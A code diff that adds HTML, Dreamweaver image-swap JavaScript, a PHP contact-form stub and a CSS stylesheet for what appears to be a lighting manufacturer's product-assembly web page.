+<script language="JavaScript" type="text/JavaScript">
+<!--
+
+function MM_preloadImages() { //v3.0
+ var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
+ var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
+ if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
+}
+
+function MM_findObj(n, d) { //v4.01
+ var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+ d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+ if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+ for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+ if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+function MM_swapImage() { //v3.0
+ var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
+ if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
+}
+//-->
+</script>
+
+<!-- <img src="<?echo URL_BASE;?>graphics/header_build.jpg" width="350" height="25"><br>
+ <br> --><br>
+ <!-- <strong><font color="#336699" size="3" face="Arial, Helvetica, sans-serif">Customize
+ your own assembly<br>
+ </font></strong> -->
+ <font color="#336699" size="2" face="Arial, Helvetica, sans-serif">Clicking
+ on the text below will show you pictures of the different options.<br>
+
+ </font><br>
+<table width="350" border="0" cellspacing="0" cellpadding="0">
+ <tr>
+ <td width="225" align="left" valign="top"><img src="<?echo URL_BASE;?>graphics/build_finial_blue.jpg" name="finial" width="225" height="34" border="0" id="finial"></td>
+ <td width="125" rowspan="3" align="left" valign="top">
+ <a href="#" onClick="MM_swapImage('finial','','<?echo URL_BASE;?>graphics/build_finial_flame.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_flame.jpg" width="125" height="22" border="0"></a>
+ <a href="#" onClick="MM_swapImage('finial','','<?echo URL_BASE;?>graphics/build_finial_spike.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_spike.jpg" width="125" height="22" border="0"></a>
+ <br>
+ <br>
+ <br>
+ <a href="#" onClick="MM_swapImage('refractor','','<?echo URL_BASE;?>graphics/build_type3.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_type3.jpg" width="125" height="22" border="0"></a>
+ <a href="#" onClick="MM_swapImage('refractor','','<?echo URL_BASE;?>graphics/build_type5.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_typev.jpg" width="125" height="22" border="0"></a>
+ <br>
+ <br>
+ <br>
+ <br>
+ <br>
+ <br>
+ <a href="#" onClick="MM_swapImage('fitter','','<?echo URL_BASE;?>graphics/build_footer_8.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_8infitter.jpg" width="125" height="22" border="0"></a>
+ <a href="#" onClick="MM_swapImage('fitter','','<?echo URL_BASE;?>graphics/build_footer_9.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_9infitter.jpg" width="125" height="22" border="0"></a>
+ </td>
+ </tr>
+ <tr>
+ <td width="225" align="left" valign="top"><img src="<?echo URL_BASE;?>graphics/build_bluerefractor.jpg" name="refractor" width="225" height="213" id="refractor"></td>
+ </tr>
+ <tr>
+ <td width="225" align="left" valign="top"><img src="<?echo URL_BASE;?>graphics/build_bluefitter.jpg" name="fitter" width="225" height="54" id="fitter"></td>
+ </tr>
+ <tr>
+ <td width="225" align="left" valign="top"><img src="<?echo URL_BASE;?>graphics/buildit_litelid_off.jpg" name="lid" width="225" height="109" id="lid"></td>
+ <td width="125" align="left" valign="top">
+ <br>
+ <a href="#" onClick="MM_swapImage('lid','','<?echo URL_BASE;?>graphics/buildit_litelid.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_litelid.jpg" width="125" height="22" border="0"></a>
+ <a href="#" onClick="MM_swapImage('lid','','<?echo URL_BASE;?>graphics/buildit_litelid_off.jpg',1); return(false);"><img src="<?echo URL_BASE;?>graphics/buildnav_removelitelid.jpg" width="125" height="22" border="0"></a>
+ </td>
+ </tr>
+</table>
+<!--
+<p><a href="<?echo URL_BASE;?>graphics/TheLindy_assembly.pdf">Download this .pdf file</a> to see all of the assembly options and to learn the part number system</p>
+-->
+</div>
\ No newline at end of file
--- /dev/null
+<div style="padding: 20px;">
+<div style="text-align: center;"><span class="req">*</span> = required fields</div>
+<?
+// Contact Form
+include ('classes/class_contact_form.inc');
+$contact = new contact_form();
+//include(BASE.'contact.inc');
+//showForm();
+?>
+</div>
\ No newline at end of file
--- /dev/null
+<style type="text/css">
+<!--
+div#contentframe div#content a {margin-left: 0px;}
+-->
+</style>
--- /dev/null
+a:link {color: #369;}
+a:visited {color: #369;}
+a:hover {color: #000;}
+a:active {color: #369;}
+#content {
+ color: #333;
+ background-image: url(assets/pagetop.jpg);
+ background-repeat: no-repeat;
+ padding: 13px 20px;
+ position: relative;}
+#content a:link {color: #4E73A9;}
+#content a:visited {color: #4E73A9;}
+#content a:hover {color: #000;}
+#content a:active {color: #4E73A9;}
+.content-white {display:block; width: 200px; font-size: 10px; background-color: white; padding:0px;}
+/* font */
+html, body, table, td {font-family: Arial, Helvetica, sans-serif; font-size: 12px;}
+html, body {text-align: center; margin: 0 auto;}
+#frame {
+ width: 750px;
+ border-left: 1px solid black;
+ border-right: 1px solid black;
+ margin: 0 auto;
+ text-align: left;
+ background-color: #369;
+ }
+div#topimg {
+ /*height: 39px;*/
+ background-color: #6599CB;
+ font-size: 23px;
+ font-weight: normal;
+ color: white;
+ text-align: center;
+ font-family: tahoma, impact,helvetica, futura, onuava, vellve-book, avenir, venusmager, ATBernhardt, courier;
+ padding: 3px;}
+div#topimg img {display: none;}
+/*NAV*/
+#navcontainer { float: left; position:relative;}
+#navcontainer ul { margin: 0; padding: 0; list-style-type: none; width: 200px; }
+#navcontainer ul ul {width: 200px;}
+#navcontainer li { margin: 0; padding: 0; }
+#navcontainer li li{ margin: 0; padding: 0; }
+#navcontainer li li li { margin: 0; padding: 0; }
+
+#navcontainer li a {
+ text-transform: normal;
+ font-size: 11px;
+ display: block;
+ height: 13px;
+ width: auto;
+ padding: 3px 0 3px 6px;
+ background-color: #7796B5;
+ border-bottom: 1px solid #fff;
+ font-weight: bold;
+ text-decoration: none;
+ }
+#navcontainer li li a {font-size: 11px; font-weight: normal;padding-left: 20px; }
+#navcontainer li li li a {font-size: 11px; font-weight: normal;padding-left: 30px; }
+#navcontainer li a#current {background-color: orange;}
+
+#navcontainer a:link {color: #fff;}
+#navcontainer a:visited {color: #fff;}
+#navcontainer a:active {color: #fff;}
+#navcontainer a:hover {color: #fff;background-color: #ADC2D7;}
+
+/* content area*/
+div#contentframe { background-color: white; width: 548px; float: right; position: relative; line-height: 1.1}
+div#contentframe div#content {}
+div#contentframe div#content a {}
+div#contentframe div#content #category a {margin-left: 0;}
+p.fileupload {margin: 0.5em 0; }
+
+h1 {
+ font-family: verdana, tahoma, impact,helvetica, futura, onuava, vellve-book, avenir, venusmager, ATBernhardt, courier;
+ font-weight: normal;
+ font-size: 18px;
+ color: #213884;
+ margin: 0;
+ padding: 0;
+ margin-left: 140px;
+ margin-bottom: 30px;
+ }
+h2 {font-size: 16px;color: #213884; margin-bottom: 0em}
+p {margin-top: 0.5em;}
+div#category {}
+#category div.right,
+#category div.left {}
+
+div.listing { clear: both; margin-top: 1em;}
+
+div.right {float: right; margin-left: 10px; margin-bottom: 1em;}
+img.imageright {float: right; margin-left: 34px; margin-bottom: 0.5em;}
+img.imageleft {float: left; margin-right: 14px; margin-bottom: 0.5em;}
+
+div.left {float: left; margin-right: 10px; margin-bottom: 1em;}
+div.right {float: right; margin-left: 20px; margin-bottom: 1em;}
+.imgtxt {text-align: center;}
+
+div#break {font-size: 1px; line-height: 1em; clear: both;}
+div.break {font-size: 0px; line-height: 0; clear: both}
+
+div#copy {font-size: 10px; padding: 10px;}
+div#copy a:link {color: #369;}
+div#copy a:visited {color: #369;}
+div#copy a:active {color: #369;}
+div#copy a:hover {color: #000;}
+
+/* little icons for file upload types */
+.pdf, .txt, .doc, .ppt, .xls, .IES { width:20px; padding:0 20px 0 0; }
+.pdf { width:23px; padding:0 23px 0 0; margin:0 5px 0 0; background: url(images/file-ext/pdf.png) no-repeat right; }
+.txt { width:23px; padding:0 23px 0 0; margin:0 5px 0 0; background: url(images/file-ext/txt.png) no-repeat right; }
+.doc { width:23px; padding:0 23px 0 0; margin:0 5px 0 0; background: url(images/file-ext/doc.png) no-repeat right; }
+.ppt { width:23px; padding:0 23px 0 0; margin:0 5px 0 0; background: url(images/file-ext/ppt.png) no-repeat right; }
+.IES { margin:0 2px 0 0; background: url(images/file-ext/ies.gif) no-repeat right; }
+.xls { background: url(images/file-ext/xls.png) no-repeat right; }
+.zip { width:23px; padding:0 23px 0 0; background: url(images/file-ext/zip.png) no-repeat right; }
+
+
+/* BOTTOM ADDRESS */
+div.bottomadd
+{
+ font-size: 11px;
+ text-align: center;
+ color: #213884;
+ line-height: 18px;
+ margin: 10px 0 5px 0;
+ border-style: solid;
+ border-width: 1px 0 0 0;
+ border-color: navy;
+}
+
+.bottomadd p
+{
+ position: relative;
+ top: 7px;
+ display: inline;
+}
+
+/* BOTTOM SUMA INDUSTRIES */
+div.bottom {
+
+ font-size: 11px;
+ text-align: center;
+ }